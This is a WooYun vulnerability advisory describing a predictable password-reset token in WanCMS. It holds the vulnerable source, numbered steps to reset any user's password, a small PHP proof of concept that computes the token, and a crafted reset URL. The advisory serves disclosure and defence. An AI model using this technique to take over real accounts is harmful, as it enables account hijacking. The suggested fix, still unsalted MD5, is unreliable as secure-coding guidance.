当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(13) 关注此漏洞

缺陷编号: WooYun-2014-49284

漏洞标题: WanCMS 可修改任意用户密码(源码详析+实例演示)

相关厂商: wancms.com

漏洞作者: lxj616

提交时间: 2014-01-19 16:27

公开时间: 2014-04-19 16:27

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 设计缺陷/边界绕过 逻辑错误

3人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-01-19: 细节已通知厂商并且等待厂商处理中
2014-01-20: 厂商已经确认,细节仅向厂商公开
2014-01-23: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-03-16: 细节向核心白帽子及相关领域专家公开
2014-03-26: 细节向普通白帽子公开
2014-04-05: 细节向实习白帽子公开
2014-04-19: 细节向公众公开

简要描述:

WanCMS 可修改任意用户密码(源码详析+实例演示)
在官方演示站demo.wancms.com做实例测试
(未测试旧版本,据原理分析可能是全版本通杀,本测试使用的版本是站长之家20130102的1.3免费版,官网不明版本演示测试成功)

详细说明:

/app/Lib/Action/AccountsAction.class.php line:580

code 区域
//密码找回相关代码
if ($_POST ['submit']) {
$email = trim ( $_POST ['t'] );
$username = trim ( $_POST ['username'] );
$public = A ( 'Public' );
//注意下面这句
$reurl = $config ['DOMAIN'] . '/accounts/forget_password_t?vc=' . md5 ( md5 ( $username ) );
//MD5是hash函数,而非加密函数,当用户得知username后可轻易推断md5散列值,因此,密码找回验证完全被绕过
//与以下无关
$subject = "用户邮箱找回密码'";
$body = "尊敬的网页游戏用户您好:
请点击以下地址找回您的密码," . $reurl . "
祝您游戏愉快!有任何问题可到我们官方网站联系";
if ($public->think_send_mail ( $email, '平台系统信息', $subject, $body )) {
$arr_i ['user_status'] = 1; //所以要先申请找回
$arr_i ['pwd_flag'] = md5 ( md5 ( $username ) );
$member->where ( "username ='" . $username . "'" )->save ( $arr_i ); // 更新状态
$this->success ( '已发送到您的邮箱,请去邮箱完成验证', '/' );
} else {
$this->error ( '发送失败 ,请联系客服', '/' );
}
}





所以,

1.点击找回密码

2.发送验证邮件

3.计算md5 ( md5 ( $username ) )

4.重置密码



poc:

code 区域
<?php 
$username='lxj616';
$t=md5 ( md5 ( $username ) );
echo $t;
?>





code 区域
http://**.**.**.**/accounts/forget_password_t?vc=c1bfd25357a080c23ac5297c8ce6e7d6



注:验证时别忘了先点击“发送验证邮件”



QQ截图20140119092522.png





可以计算一下poc生成 c1bfd25357a080c23ac5297c8ce6e7d6



漏洞成因总结为:身份令牌可预测

漏洞证明:

QQ截图20140119092522.png





修复方案:

$reurl = $config ['DOMAIN'] . '/accounts/forget_password_t?vc=' . md5 ( md5 ( $username ) );



改为:



$reurl = $config ['DOMAIN'] . '/accounts/forget_password_t?vc=' . md5 ( md5 ( $username.$password ) );



前后文按照此方法修改即可,由于攻击者无法预先获知password和random,因此无法再伪造找回密码链接

版权声明:转载请注明来源 lxj616@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-01-20 14:16

厂商回复:

已修复

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):
登陆后才能进行评分
100%
0%
0%
0%
0%

评价

  1. 2014-01-19 16:38 | wefgod ( 核心白帽子 | Rank:1825 漏洞数:176 | 力不从心)
    1

    demo已挂?

  2. 2014-01-19 17:40 | lxj616 ( 普通白帽子 | Rank:455 漏洞数:92 | 来自喵星的太空喵)
    0

    @wefgod 错了。。。应该是http://demo.31wan.cn,正文里是对的。。。。

  3. 2014-01-19 17:50 | wefgod ( 核心白帽子 | Rank:1825 漏洞数:176 | 力不从心)
    0

    @lxj616 PHP的路过了

登录后才能发表评论,请先 登录